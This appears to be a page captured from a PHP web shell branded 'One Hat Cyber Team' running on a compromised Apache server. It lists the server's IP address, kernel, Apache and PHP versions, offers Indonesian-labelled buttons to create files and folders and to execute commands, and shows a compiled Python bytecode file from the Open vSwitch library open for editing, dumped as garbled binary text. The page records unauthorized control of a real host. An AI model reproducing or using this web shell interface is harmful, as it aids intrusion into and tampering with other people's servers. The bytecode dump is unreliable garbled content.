One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
ovs
/
db
/
__pycache__
/
Edit File:
parser.cpython-310.pyc
o ��e? � @ sZ d dl Z d dlmZ G dd� de�Zdd� Ze �d�Zdd � Zd d� Z dd � Z dd� ZdS )� N)�errorc @ s@ e Zd Zdd� Zddd�Zdd� Zddd �Zd d� Zdd � ZdS )�Parserc C s, || _ || _t|t�s| �d� t� | _d S )NzObject expected.)�name�json� isinstance�dict�_Parser__raise_error�set�used)�selfr r � r �//usr/lib/python3/dist-packages/ovs/db/parser.py�__init__ s zParser.__init__Nc C s� || j v rI| j�|� t| j | �}t|�rd|v r|S zt|�r2t|t|��s5| �d| � W |S W |S W |S t yH | �d| � Y |S w |sR| �d| � |S )N�idzType mismatch for member '%s'.z Required '%s' member is missing.) r r �add�float_to_int� is_identifier�lenr �tupler � TypeError)r r �types�optional�default�memberr r r �__get s( ����zParser.__getc C s | � ||d�S )NF��_Parser__get)r r r r r r �get- s z Parser.getc C s | � ||d|�S )NTr )r r r r r r r �get_optional0 s zParser.get_optionalc C s t �d| j|f | j��)NzParsing %s failed: %s)r �Errorr r )r �messager r r � __raise_error3 s �zParser.__raise_errorc C sb t | j�t | j� }|r/|�� }t|�dkrdt|� }n|r"d}nd}| �d||f � d S d S )N� zand %d other members arezand 1 other member are�isz+Member '%s' %s present but not allowed here)r r r �popr r )r �missingr �presentr r r �finish7 s ��z Parser.finish�N) �__name__� __module__�__qualname__r r r r r r'